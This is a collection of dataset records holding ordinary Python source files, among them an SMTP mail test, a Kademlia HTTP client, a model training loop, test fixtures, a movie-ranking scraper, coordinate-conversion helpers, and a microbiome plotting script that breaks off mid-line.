"github-code", "pt": "71", "api": [{"api_name": "os.getcwd", "line_number": 8, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 12, "usage_type": "call"}, {"api_name": "zipfile.ZipFile", "line_number": 13, "usage_type": "call"}, {"api_name": "pandas.DataFrame", "line_number": 17, "usage_type": "call"}, {"api_name": "glob.glob", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.concat", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 20, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 26, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 28, "usage_type": "call"}, {"api_name": "pandas.to_datetime", "line_number": 33, "usage_type": "call"}]} {"seq_id": "35441970466", "text": "import smtplib\r\nfrom email.mime.multipart import MIMEMultipart\r\nfrom email.mime.text import MIMEText\r\n\r\n\r\ndef sendmessagetomail():\r\n\thost = \"smtp.gmail.com:587\"\r\n\tserver=smtplib.SMTP(host)\r\n\tsender=\"automailpython@gmail.com\"\r\n\trecipient=[\"ssasirekha95@gmail.com\"]\r\n\tmsg=MIMEMultipart()\r\n\tmsg['Subject']=\"automailpython test mail\" \r\n\tmsg['From']=sender\r\n\tmsg['To'] = \",\".join(recipient)\r\n\t#multiple recipients [\"a@ma.com\",b@ma.com]\r\n\t#can do html formating in mimetext\r\n\tmsg.attach(MIMEText(\"This is the test message\"))\r\n\t\r\n\tprint(\"processing mail\")\r\n\ttry:\r\n\t\tserver.sendmail(sender, recipient, msg.as_string())\r\n\t\tprint(\"sent mail\")\r\n\texcept smtplib.SMTPException:\r\n\t\tprint(\"Error:Unable to send e-mail\")\r\n\tserver.quit()\r\n\tprint(\"message processed\")\r\n\r\nsendmessagetomail()\r\n\r\n\r\n\r\n", "repo_name": "ssasirekha25/PythonInRealWorld", "sub_path": "Sendmail.py", "file_name": "Sendmail.py", "file_ext": "py", "file_size_in_byte": 780, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "smtplib.SMTP", "line_number": 8, "usage_type": "call"}, {"api_name": "email.mime.multipart.MIMEMultipart", "line_number": 11, "usage_type": "call"}, {"api_name": "email.mime.text.MIMEText", "line_number": 17, "usage_type": "call"}, {"api_name": "smtplib.SMTPException", "line_number": 23, "usage_type": "attribute"}]} {"seq_id": "15098538756", "text": "#!/usr/bin/env python3\n\nimport requests\nimport sys\nimport time\nimport base64\nimport json\n\n\nclass KademliaNode:\n def __init__(self, address):\n self.address = address\n\n def store_here(self, key, value):\n requests.post(\"http://{}/store_here/{}\".format(self.address, key), data=value)\n\n def store(self, key, value):\n requests.post(\"http://{}/store/{}\".format(self.address, key), data=value)\n\n def ping(self, target, byid):\n if byid:\n method = \"id\"\n else:\n method = \"ip\"\n\n url = \"http://{}/ping/{}/{}\".format(self.address, method, target)\n\n requests.get(url)\n\n def shutdown(self):\n try:\n requests.get(\"http://{}/shutdown\".format(self.address))\n except:\n pass\n\n def findnode(self, target, oneshot):\n if oneshot:\n method = \"oneshot\"\n else:\n method = \"iterative\"\n\n url = \"http://{}/{}/findnode/{}\".format(self.address, method, target)\n\n r = requests.get(url)\n contacts = json.loads(r.text)\n for entry in contacts:\n key = entry['Id']\n addr = entry['Addr']\n print(\"%x %s\"%(key, addr))\n\n def findvalue(self, key, oneshot=False):\n if oneshot:\n method = \"oneshot\"\n else:\n method = \"iterative\"\n\n url = \"http://{}/{}/findvalue/{}\".format(self.address, method, key)\n\n r = requests.get(url)\n\n return base64.b64decode(json.loads(r.text))\n\n def table(self):\n r = requests.get(\"http://{}/table\".format(self.address))\n table = json.loads(r.text)\n\n new_table = {}\n for entry in table:\n key = entry['key']\n value = base64.b64decode(entry['value'])\n isOrigin = entry['isOrigin']\n\n new_table[key] = {'value': value, 'isOrigin': isOrigin}\n\n return new_table\n", "repo_name": "pdelong/Kademlia", "sub_path": "scripts/kademlia.py", "file_name": "kademlia.py", "file_ext": "py", "file_size_in_byte": 1912, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 9, "dataset": "github-code", "pt": "69", "api": [{"api_name": "requests.post", "line_number": 15, "usage_type": "call"}, {"api_name": "requests.post", "line_number": 18, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 28, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 32, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 44, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 45, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 59, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 61, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 61, "usage_type": "call"}, {"api_name": "requests.get", "line_number": 64, "usage_type": "call"}, {"api_name": "json.loads", "line_number": 65, "usage_type": "call"}, {"api_name": "base64.b64decode", "line_number": 70, "usage_type": "call"}]} {"seq_id": "29106590071", "text": "import torch\nimport os\nimport numpy as np\nimport math\n\nimport dataset\nimport model\nimport name_test\n\ndef append_progress(file, values):\n f = open(file, 'a')\n f.write(\",\".join(map(str, values)) + '\\n')\n f.close()\n\ndef train(epochs = 100):\n device = torch.device(\"cuda:0\" if torch.cuda.is_available() else \"cpu\")\n\n # load\n net = model.AmphiNameNet()\n net.load(device)\n\n # net.modify()\n # net.save()\n # exit()\n\n # Define a Loss function and optimizer\n criterion = torch.nn.CrossEntropyLoss()\n optimizer = torch.optim.SGD(net.parameters(), lr=0.01, momentum=0.9)\n\n (ds_train, loader_train), (ds_test, loader_test), _ident = dataset.load_by_name(16, augmentation=True)\n\n # train\n for epoch in range(epochs): # loop over the dataset multiple times\n\n # save & eval\n if epoch % 5 == 0:\n net.save()\n\n rank_freq_train, _ = name_test.evaluate(net, device, loader_train)\n net.disable_dropout()\n rank_freq_test, _ = name_test.evaluate(net, device, loader_test)\n net.enable_dropout()\n\n print(rank_freq_train, rank_freq_test)\n\n append_progress('running_ranks_freq.csv', [epoch, 'train'] + rank_freq_train)\n append_progress('running_ranks_freq.csv', [epoch, 'test'] + rank_freq_test)\n\n losses = []\n for i, (inputs, labels) in enumerate(loader_train, 0):\n inputs, labels = inputs.to(device), labels.to(device)\n\n # zero the parameter gradients\n optimizer.zero_grad()\n\n # forward + backward + optimize\n outputs = net(inputs)\n # print(inputs.size(), outputs.size(), labels.size())\n loss = criterion(outputs, labels)\n loss.backward()\n optimizer.step()\n\n # statistics\n losses.append(loss.item())\n if math.isnan(loss.item()):\n print('loss = nan, exiting')\n exit()\n \n loss_mean = np.mean(np.array(losses))\n loss_std = np.std(np.array(losses))\n print(f'[ep {epoch}] loss = {round(loss_mean, 3)} (std={round(loss_std, 2)})')\n append_progress('loss.csv', [epoch, loss_mean, loss_std])\n\n net.save()\n print('Finished Training')\n\nif __name__ == '__main__':\n train(10000)\n", "repo_name": "aljazerzen/data-science-amph-ident", "sub_path": "name_train.py", "file_name": "name_train.py", "file_ext": "py", "file_size_in_byte": 2312, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "torch.device", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.cuda.is_available", "line_number": 16, "usage_type": "call"}, {"api_name": "torch.cuda", "line_number": 16, "usage_type": "attribute"}, {"api_name": "model.AmphiNameNet", "line_number": 19, "usage_type": "call"}, {"api_name": "torch.nn.CrossEntropyLoss", "line_number": 27, "usage_type": "call"}, {"api_name": "torch.nn", "line_number": 27, "usage_type": "attribute"}, {"api_name": "torch.optim.SGD", "line_number": 28, "usage_type": "call"}, {"api_name": "torch.optim", "line_number": 28, "usage_type": "attribute"}, {"api_name": "dataset.load_by_name", "line_number": 30, "usage_type": "call"}, {"api_name": "name_test.evaluate", "line_number": 39, "usage_type": "call"}, {"api_name": "name_test.evaluate", "line_number": 41, "usage_type": "call"}, {"api_name": "math.isnan", "line_number": 65, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 69, "usage_type": "call"}, {"api_name": "numpy.std", "line_number": 70, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 70, "usage_type": "call"}]} {"seq_id": "41280163638", "text": "import os\nfrom img_app import create_app \nfrom img_app.main.db import get_db, init_db\nimport tempfile\n\nimport pytest\n\n\nwith open(os.path.join(os.path.dirname(__file__), 'data.sql'), 'rb') as f:\n _data_sql = f.read().decode('utf8')\n\nimage_path = os.path.join(os.path.dirname(__file__), 'images')\n\n\n@pytest.fixture\ndef app():\n db_fd, db_path = tempfile.mkstemp()\n\n app = create_app({\n 'TESTING': True,\n 'DATABASE': db_path,\n 'IMAGE_DIR': image_path,\n })\n\n with app.app_context():\n init_db()\n get_db().executescript(_data_sql)\n\n yield app\n\n os.close(db_fd)\n os.unlink(db_path)\n\n\n@pytest.fixture\ndef client(app):\n return app.test_client()\n\n\n@pytest.fixture\ndef runner(app):\n return app.test_cli_runner()", "repo_name": "KrupinSA/image_services", "sub_path": "tests/conftest.py", "file_name": "conftest.py", "file_ext": "py", "file_size_in_byte": 764, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "os.path.join", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path", "line_number": 9, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 9, "usage_type": "call"}, {"api_name": "os.path.join", "line_number": 12, "usage_type": "call"}, {"api_name": "os.path", "line_number": 12, "usage_type": "attribute"}, {"api_name": "os.path.dirname", "line_number": 12, "usage_type": "call"}, {"api_name": "tempfile.mkstemp", "line_number": 17, "usage_type": "call"}, {"api_name": "img_app.create_app", "line_number": 19, "usage_type": "call"}, {"api_name": "img_app.main.db.init_db", "line_number": 26, "usage_type": "call"}, {"api_name": "img_app.main.db.get_db", "line_number": 27, "usage_type": "call"}, {"api_name": "os.close", "line_number": 31, "usage_type": "call"}, {"api_name": "os.unlink", "line_number": 32, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 15, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 35, "usage_type": "attribute"}, {"api_name": "pytest.fixture", "line_number": 40, "usage_type": "attribute"}]} {"seq_id": "9967054462", "text": "from PIL import Image\nimport os\n\ndef crop (image_path, coords, saved_location):\n image_obj = Image.open(image_path)\n cropped_image = image_obj.crop(coords)\n cropped_image.save(saved_location)\n cropped_image.show()\n\nif __name__ == '__main__':\n pdf_list = []\n for file in os.listdir(os.getcwd()):\n if file.endswith(\".pdf\"):\n pdf_list.append(file)\n", "repo_name": "maxfornacon/scripts", "sub_path": "crop.py", "file_name": "crop.py", "file_ext": "py", "file_size_in_byte": 381, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "PIL.Image.open", "line_number": 5, "usage_type": "call"}, {"api_name": "PIL.Image", "line_number": 5, "usage_type": "name"}, {"api_name": "os.listdir", "line_number": 12, "usage_type": "call"}, {"api_name": "os.getcwd", "line_number": 12, "usage_type": "call"}]} {"seq_id": "11840478148", "text": "import requests\nimport bs4\nfrom bs4 import BeautifulSoup as bs\n\nurl = 'https://movie.naver.com/movie/sdb/rank/rmovie.nhn?sel=pnt&date=20200303'\nheaders = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/101.0.4951.64 Safari/537.36 Edg/101.0.1210.53'}\n\ndata = requests.get(url, headers=headers)\n\nsoup = bs(data.text, 'html.parser')\ntd = soup.select(\"#old_content > table > tbody > tr\")\n\nfor i in td:\n movie = []\n td_num = i.select_one('.ac > img')\n td_title = i.select_one('div > a')\n td_point = i.select_one('.point')\n if td_title is not None:\n movie.append(td_num['alt'] + \" \" +td_title.text + \" \" + td_point.text)\n movie = movie[0]\n print(movie)", "repo_name": "snailweeds/pythonProject", "sub_path": "Q1_crawling.py", "file_name": "Q1_crawling.py", "file_ext": "py", "file_size_in_byte": 738, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 0, "dataset": "github-code", "pt": "71", "api": [{"api_name": "requests.get", "line_number": 8, "usage_type": "call"}, {"api_name": "bs4.BeautifulSoup", "line_number": 10, "usage_type": "call"}]} {"seq_id": "9560703148", "text": "import sys\nfrom typing import List\nclass Solution:\n def minimumAbsDifference(self, arr: List[int]) -> List[List[int]]:\n if not arr:\n return []\n arr.sort()\n result = []\n N = len(arr)\n minimum_value = sys.maxsize\n for index in range(N):\n if index + 1 < N:\n abs_value = abs(arr[index + 1] - arr[index])\n if abs_value < minimum_value:\n minimum_value = abs_value\n result = []\n result.append([arr[index], arr[index + 1]])\n elif abs_value == minimum_value:\n result.append([arr[index], arr[index + 1]])\n return result\n\ndef main():\n sol = Solution()\n result = sol.minimumAbsDifference([3,8,-10,23,19,-4,-14,27])\n print(result)\n\nif __name__ == \"__main__\":\n main()", "repo_name": "yanansun2020/leetcode", "sub_path": "python/array/1200-Minimum-Absolute-Difference.py", "file_name": "1200-Minimum-Absolute-Difference.py", "file_ext": "py", "file_size_in_byte": 860, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 1, "dataset": "github-code", "pt": "71", "api": [{"api_name": "typing.List", "line_number": 4, "usage_type": "name"}, {"api_name": "sys.maxsize", "line_number": 10, "usage_type": "attribute"}]} {"seq_id": "70845071906", "text": "\"\"\"Helper functions for geocoding and coordinate conversions.\"\"\"\n\nfrom builtins import enumerate\nimport requests\nimport json\n\n\ndef get_RDXY(postcode, huisnummer):\n \"\"\"\n Fetches X, Y Rijksdriehoek coordinates from BAG.\n\n postcode: Dutch zipcode in format '1234AB'\n huisnmmmer: house number, without any additions\n\n https://basisregistraties.arcgisonline.nl/arcgis/rest/services/BAG/\n \"\"\"\n\n URL = f\"https://basisregistraties.arcgisonline.nl/arcgis/rest/services/BAG/BAGv2/MapServer/0/query?where=huisnummer%3D%27{huisnummer}%27+AND+postcode+%3D+%27{postcode}%27&text=&objectIds=&time=&geometry=&geometryType=esriGeometryEnvelope&inSR=&spatialRel=esriSpatialRelIntersects&relationParam=&outFields=&returnGeometry=true&returnTrueCurves=false&maxAllowableOffset=&geometryPrecision=&outSR=28992&having=&returnIdsOnly=false&returnCountOnly=false&orderByFields=&groupByFieldsForStatistics=&outStatistics=&returnZ=false&returnM=false&gdbVersion=&historicMoment=&returnDistinctValues=false&resultOffset=&resultRecordCount=&queryByDistance=&returnExtentOnly=false&datumTransformation=¶meterValues=&rangeValues=&quantizationParameters=&featureEncoding=esriDefault&f=pjson\"\n get_ = requests.get(URL.format(postcode=postcode, huisnummer=str(huisnummer)))\n try:\n return get_.json()[\"features\"][0][\"geometry\"]\n except (KeyError, IndexError):\n return None\n\n\n# Can't access API reference, so don't know how to code proper POST request\n#\n# def test(postcode, huisnummer):\n# URL = \"https://basisregistraties.arcgisonline.nl/arcgis/rest/services/BAG/BAGv2/MapServer/0/query\"\n# query = {'postcode': postcode,\n# 'huisnummer': huisnummer,\n# 'GeometryType': 'esriGeometryEnvelope',\n# 'outSR': '28992',\n# 'featureEncoding': 'esriDefault',\n# 'f': 'pjson'\n# }\n# print(json.dumps(query))\n# response = requests.request('POST', URL, data=json.dumps(query))\n# print(response.json())\n\n\n\nclass RDWGS84Converter(object):\n \"\"\"\n The formulas in this class were based on a white paper by ing. F.H. Schreutelkamp from \"Stichting De Koepel\" and\n ir. G.L. Strang van Hees, former scholar at TU Delft.\n Unfortunately, as of January 1st 2014, the foundation \"De Koepel\" has halted all their activities and suspended their\n website. As the original article can no longer be found on the website, I've made sure to host \n `a backup of it `_ (in Dutch). Please consult this white\n paper for the origin of the coefficients used below.\n I take no credit for the formulas used, all I have done was convert the formulas into an easy to work with Python\n class for usage in other projects. All credit for the formulas go to F.H. Schreutelkamp and G.L. Strang van Hees.\n \"\"\"\n\n x0 = 155000\n y0 = 463000\n phi0 = 52.15517440\n lam0 = 5.38720621\n\n # Coefficients or the conversion from RD to WGS84\n Kp = [0, 2, 0, 2, 0, 2, 1, 4, 2, 4, 1]\n Kq = [1, 0, 2, 1, 3, 2, 0, 0, 3, 1, 1]\n Kpq = [\n 3235.65389,\n -32.58297,\n -0.24750,\n -0.84978,\n -0.06550,\n -0.01709,\n -0.00738,\n 0.00530,\n -0.00039,\n 0.00033,\n -0.00012,\n ]\n\n Lp = [1, 1, 1, 3, 1, 3, 0, 3, 1, 0, 2, 5]\n Lq = [0, 1, 2, 0, 3, 1, 1, 2, 4, 2, 0, 0]\n Lpq = [\n 5260.52916,\n 105.94684,\n 2.45656,\n -0.81885,\n 0.05594,\n -0.05607,\n 0.01199,\n -0.00256,\n 0.00128,\n 0.00022,\n -0.00022,\n 0.00026,\n ]\n # Coefficients for the conversion from WGS84 to RD\n Rp = [0, 1, 2, 0, 1, 3, 1, 0, 2]\n Rq = [1, 1, 1, 3, 0, 1, 3, 2, 3]\n Rpq = [\n 190094.945,\n -11832.228,\n -114.221,\n -32.391,\n -0.705,\n -2.340,\n -0.608,\n -0.008,\n 0.148,\n ]\n\n Sp = [1, 0, 2, 1, 3, 0, 2, 1, 0, 1]\n Sq = [0, 2, 0, 2, 0, 1, 2, 1, 4, 4]\n Spq = [\n 309056.544,\n 3638.893,\n 73.077,\n -157.984,\n 59.788,\n 0.433,\n -6.439,\n -0.032,\n 0.092,\n -0.054,\n ]\n\n def from_rd(self, x: int, y: int) -> tuple:\n \"\"\"\n Converts RD coordinates into WGS84 coordinates\n \"\"\"\n dx = 1e-5 * (x - self.x0)\n dy = 1e-5 * (y - self.y0)\n latitude = (\n self.phi0\n + sum(\n [\n v * dx ** self.Kp[i] * dy ** self.Kq[i]\n for i, v in enumerate(self.Kpq)\n ]\n )\n / 3600\n )\n longitude = (\n self.lam0\n + sum(\n [\n v * dx ** self.Lp[i] * dy ** self.Lq[i]\n for i, v in enumerate(self.Lpq)\n ]\n )\n / 3600\n )\n\n return latitude, longitude\n\n # https://github.com/thomasvnl/rd-to-wgs84\n def from_wgs84(self, latitude: float, longitude: float) -> tuple:\n \"\"\"\n Converts WGS84 coordinates into RD coordinates\n \"\"\"\n dlat = 0.36 * (latitude - self.phi0)\n dlon = 0.36 * (longitude - self.lam0)\n x = self.x0 + sum(\n [\n v * dlat ** self.Rp[i] * dlon ** self.Rq[i]\n for i, v in enumerate(self.Rpq)\n ]\n )\n y = self.y0 + sum(\n [\n v * dlat ** self.Sp[i] * dlon ** self.Sq[i]\n for i, v in enumerate(self.Spq)\n ]\n )\n\n return x, y\n", "repo_name": "dataverbinders/nimbletl", "sub_path": "nimbletl/gis.py", "file_name": "gis.py", "file_ext": "py", "file_size_in_byte": 5522, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 4, "dataset": "github-code", "pt": "70", "api": [{"api_name": "requests.get", "line_number": 19, "usage_type": "call"}, {"api_name": "builtins.enumerate", "line_number": 134, "usage_type": "call"}, {"api_name": "builtins.enumerate", "line_number": 144, "usage_type": "call"}, {"api_name": "builtins.enumerate", "line_number": 162, "usage_type": "call"}, {"api_name": "builtins.enumerate", "line_number": 168, "usage_type": "call"}]} {"seq_id": "27869300251", "text": "import scipy.stats as st\nfrom collections import Counter\nimport sklearn\nfrom matplotlib import cm\nimport scipy\nimport itertools\nfrom datetime import datetime\nfrom seaborn import clustermap\nfrom scipy.cluster.hierarchy import linkage\nimport matplotlib as mpl\nfrom sklearn.linear_model import LogisticRegression\nimport os\nimport time\nimport pickle as pkl\nimport pandas as pd\nfrom dataLoader import *\nfrom basic_data_methods_helper import *\nfrom statsmodels.stats.multitest import multipletests\nfrom matplotlib.collections import LineCollection\nfrom Bio import Phylo\nimport matplotlib.colors as colors\nimport re\nfrom statistics import mode\nimport seaborn as sns\nfrom sksurv.linear_model import CoxnetSurvivalAnalysis, CoxPHSurvivalAnalysis\nfrom sksurv.metrics import concordance_index_censored\nimport matplotlib.lines as mlines\nimport seaborn as sns\nimport argparse\n\n# Set font for figures\nfrom matplotlib import rc\nrc('font',**{'family':'sans-serif','sans-serif':['Arial']})\n\nimport pandas as pd\nfrom helper import *\nfrom basic_data_methods_helper import *\nfrom matplotlib.collections import LineCollection\nfrom matplotlib.colors import ListedColormap, LinearSegmentedColormap\n\n\ndef get_data(key, dl, dtype='filtered_data', week=None, features=None):\n data = dl.keys[key][dtype]\n ix_keep = [ix for ix in data.index.values if ix.split('-')[1].isnumeric()]\n if week == None:\n ix_keep = [ix for ix in ix_keep if float(ix.split('-')[1]) <= 2]\n else:\n ix_keep = [ix for ix in ix_keep if float(ix.split('-')[1]) == week]\n\n data = data.loc[ix_keep]\n if features is not None:\n data = data[features]\n outcomes = dl.keys[key]['targets'].loc[ix_keep]\n return data, outcomes\n\n\ndef make_side_heatmap(key, rownames,\n path_to_univariate_analysis= '/Users/jendawk/Dropbox (MIT)/C Diff Recurrence Paper/Analyses/univariate_analysis/',\n plot_padj=True):\n df = {}\n for week in [0, 1, 2]:\n if key == '16s' and isinstance(week, list):\n continue\n if key == '16s':\n test = 'deseq2'\n pname = 'padj'\n else:\n test = 'OLS'\n pname = 'FDR, Outcome'\n univ_anal = pd.read_csv(path_to_univariate_analysis + '/' + key + '/' + test + '_' + key + str(week) +\n '.csv', index_col=0)\n # df[week] = univ_anal.loc[univ_anal[pname]<0.1]\n if 't-stat' in univ_anal.columns.values:\n test_stat_lab = 't-stat'\n elif 'test-statistic' in univ_anal.columns.values:\n test_stat_lab = 'test-statistic'\n elif 'test statistic' in univ_anal.columns.values:\n test_stat_lab = 'test statistic'\n elif 'log2fold' in univ_anal.columns.values:\n test_stat_lab = 'log2fold'\n else:\n test_stat_lab = 'coef, outcome'\n\n if 'BH corrected' in univ_anal.columns.values:\n p_lab = 'BH corrected'\n elif 'BH Corrected' in univ_anal.columns.values:\n p_lab = 'BH Corrected'\n elif 'padj' in univ_anal.columns.values:\n p_lab = 'padj'\n else:\n p_lab = 'FDR, Outcome'\n\n if plot_padj:\n data_to_plot = univ_anal[[p_lab, test_stat_lab]]\n else:\n data_to_plot = univ_anal[test_stat_lab]\n\n not_present = list(set(rownames) - set(data_to_plot.index.values))\n for metab in not_present:\n if plot_padj:\n data_to_plot.loc[len(data_to_plot.index)] = [1, 0]\n else:\n data_to_plot.loc[len(data_to_plot.index)] = [0]\n data_to_plot.index.values[-1] = metab\n\n df[week] = data_to_plot.loc[rownames]\n if len(rownames) == 0:\n df[week] = data_to_plot\n\n return df\n\n\ndef get_metab_clustermap(data, key):\n x = data.T\n if key == '16s':\n dist_mat = scipy.spatial.distance.pdist(x, metric='braycurtis')\n dist_mat = scipy.spatial.distance.squareform(dist_mat)\n\n else:\n corr, p = st.spearmanr(x.T)\n if len(corr.shape) == 0:\n corr = np.array([[1, corr], [corr, 1]])\n dist_mat = (1 - corr) / 2\n dist_mat = (dist_mat + dist_mat.T) / 2\n np.fill_diagonal(dist_mat, 0)\n\n linkage = scipy.cluster.hierarchy.linkage(scipy.spatial.distance.squareform(dist_mat), method='average',\n optimal_ordering=True)\n\n g = sns.clustermap(data.T, row_linkage=linkage, col_cluster=False, row_cluster=True,\n vmin=-4, vmax=4, cmap=plt.get_cmap('bwr'))\n\n g.cax.set_visible(False)\n g.fig.set_visible(False)\n return g.dendrogram_row.reordered_ind\n\n\ndef get_pt_clustermap(data, outcomes, key):\n rgb_outcome = {'Recurrer': matplotlib.colors.to_rgba('r')[:-1], 'Non-recurrer': matplotlib.colors.to_rgba('g')[:-1]}\n # pt_outcome = dict(zip(np.unique(pts), generate_colormap(len(np.unique(pts)))))\n\n o_map = outcomes.map(rgb_outcome)\n df_colors = o_map\n x = data\n\n if key == '16s':\n dist_mat = scipy.spatial.distance.pdist(x, metric='braycurtis')\n dist_mat = scipy.spatial.distance.squareform(dist_mat)\n else:\n corr, p = st.spearmanr(x.T)\n dist_mat = (1 - corr) / 2\n dist_mat = (dist_mat + dist_mat.T) / 2\n np.fill_diagonal(dist_mat, 0)\n\n linkage = scipy.cluster.hierarchy.linkage(scipy.spatial.distance.squareform(dist_mat), method='average',\n optimal_ordering=True)\n\n g = sns.clustermap(data.T, col_linkage=linkage, col_cluster=True, row_cluster=False, col_colors=df_colors,\n vmin=-4, vmax=4, cmap=plt.get_cmap('bwr'))\n\n g.cax.set_visible(False)\n g.fig.set_visible(False)\n return g, rgb_outcome\n\ndef make_metab_dendrogram(df_dendro, data, fig, ax, custom_order, skip_offset = .10, buffer = 0):\n\n ypts_S = [0]\n sub_path_S = []\n coords_S = []\n colors_S = []\n col_dict = {}\n\n ypts = [0]\n sub_path = []\n hcoords = []\n vcoords = []\n hcolors = []\n vcolors = []\n annotation = []\n order_dict = {}\n order_past = 0\n pathways = []\n y_add = 0\n for j,pathway in enumerate(custom_order):\n if isinstance(pathway, list):\n path = pathway[0]\n else:\n path = pathway\n if path in df_dendro['SUB_PATHWAY'].values:\n sup_or_sub = 'SUB_PATHWAY'\n elif path in df_dendro['SUPER_PATHWAY'].values:\n sup_or_sub = 'SUPER_PATHWAY'\n else:\n print(pathway)\n print('ERROR - NO PATHWAY')\n return None\n if isinstance(pathway, list):\n metabs = np.concatenate([df_dendro.index.values[df_dendro[sup_or_sub]==path] for path in pathway])\n pathway = '; '.join(pathway)\n else:\n metabs = df_dendro.index.values[df_dendro[sup_or_sub]==pathway]\n txt = pathway\n metabs = list(set(metabs).intersection(set(data.columns.values)))\n if len(metabs)==0:\n continue\n if len(pathway)>20:\n txt = txt[:20]\n if txt[-1] != 's':\n txt = txt + 's'\n # sub_pathways = np.unique(df_dendro['SUB_PATHWAY'][df_dendro['SUPER_PATHWAY']==pathway])\n super_gp_size = len(metabs)\n y_start_sup = ypts_S[-1] + buffer\n y_end_sup = super_gp_size + y_start_sup\n y_mid_sup = super_gp_size/2 + y_start_sup\n print(y_mid_sup)\n xpt = 3\n\n hline_sup = [[xpt, y_mid_sup],[xpt-2, y_mid_sup]]\n vline_sup = [[xpt-2, y_end_sup],[xpt-2, y_start_sup]]\n hcoords.append(hline_sup)\n vcoords.append(vline_sup)\n hcolors.append('C' + str(j))\n vcolors.append('C' + str(j))\n # vcolors.extend(['C' + str(j)]*2)\n if len(metabs)>1:\n order = np.array(get_metab_clustermap(data.loc[:,metabs], 'metabs'))\n order_dict[pathway] = np.array(metabs)[order]\n else:\n order_dict[pathway] = np.array(metabs)\n pathways.append(pathway)\n# sub_pathways = np.unique(df_dendro[sup_or_sub][df_dendro[sup_or_sub]==pathway])\n annotation.append(((xpt-0.1, y_mid_sup + 0.5),txt))\n\n ypts_S.append(y_end_sup)\n\n xyvals = np.concatenate(np.concatenate([hcoords, vcoords]))\n\n line_segments = LineCollection(hcoords, colors = hcolors)\n ax.add_collection(line_segments)\n ax.set_xlim(np.max(xyvals[:,0]),np.min(xyvals[:,0]))\n ax.set_ylim(np.min(xyvals[:,1]), np.max(xyvals[:,1]))\n\n line_segments_v = LineCollection(np.array(vcoords), colors = vcolors, linewidths = 5)\n ax.add_collection(line_segments_v)\n\n ax.set_frame_on(False)\n ax.axes.get_xaxis().set_visible(False)\n ax.axes.get_yaxis().set_visible(False)\n\n fig.tight_layout()\n return fig, ax, order_dict, pathways\n\n\ndef plot_heatmap(key, rownames, fig, ax_heat, ax_side, dl, figsize=12 * 10, weeks=[0, 1, 2],\n dtype='data',\n path_to_univariate_analysis = '/Users/jendawk/Dropbox (MIT)/C Diff Recurrence Paper/Analyses/univariate_analysis_control/',\n path_to_save_data='/Users/jendawk/Dropbox (MIT)/C Diff Recurrence Paper/Main Figures/Figure Data/',\n cmap_heat='vlag', cmap_sig='tab:purple'):\n df_side = make_side_heatmap(key, rownames,\n path_to_univariate_analysis, plot_padj=True)\n import matplotlib.colors as colors\n df_all = np.concatenate([df_side[i].iloc[:, 0].values for i in df_side.keys()])\n df_all = df_all[~np.isnan(df_all)]\n vmins = []\n vmaxs = []\n for i, week in enumerate(weeks):\n d_week, outcomes = get_data(key, dl, week=week, dtype=dtype, features=rownames)\n if key == '16s':\n data_week = np.divide(d_week.T, np.sum(d_week, 1)).T\n\n else:\n epsilon = get_epsilon(d_week)\n transformed = np.log(d_week + epsilon)\n d_week = standardize(transformed)\n vmins.append(d_week.min().min())\n vmaxs.append(d_week.max().max())\n\n vmin = np.min(vmins)\n vmax = np.max(vmaxs)\n for i, week in enumerate(weeks):\n d_week, outcomes = get_data(key, dl, week=week, dtype=dtype, features=rownames)\n if key == '16s':\n data_week = np.divide(d_week.T, np.sum(d_week, 1)).T\n\n else:\n epsilon = get_epsilon(d_week)\n transformed = np.log(d_week + epsilon)\n d_week = standardize(transformed)\n # g, rgb_outcome = get_pt_clustermap(d_week, outcomes, key)\n outcome_ixs = np.concatenate([np.where(outcomes.values == 'Recurrer')[0],\n np.where(outcomes.values == 'Non-recurrer')[0]])\n\n re_ixs = np.where(outcomes.values == 'Recurrer')[0]\n cl_ixs = np.where(outcomes.values == 'Non-recurrer')[0]\n ix1 = len(np.where(outcomes.values == 'Recurrer')[0])\n\n if len(rownames) == 0:\n data = d_week.iloc[outcome_ixs, :]\n else:\n data = d_week.loc[:, rownames].iloc[outcome_ixs, :]\n\n data = data.T\n if key == '16s':\n data.insert(len(re_ixs), 'zeros', -99 * np.ones(data.shape[0]))\n else:\n data.insert(len(re_ixs), 'zeros', 0 * np.ones(data.shape[0]))\n outcome_locs = [ix1 / 2, 1 + ix1 + len(np.where(outcomes.values == 'Non-recurrer')[0]) / 2]\n if i == 0:\n outcome_locs[0] = outcome_locs[0] - 2\n outcome_locs[1] = outcome_locs[1] + 2\n\n if not os.path.isdir(path_to_save_data):\n os.mkdir(path_to_save_data)\n if os.path.isfile(path_to_save_data + '/' + 'Fig3_data.xlsx'):\n with pd.ExcelWriter(path_to_save_data + '/' + 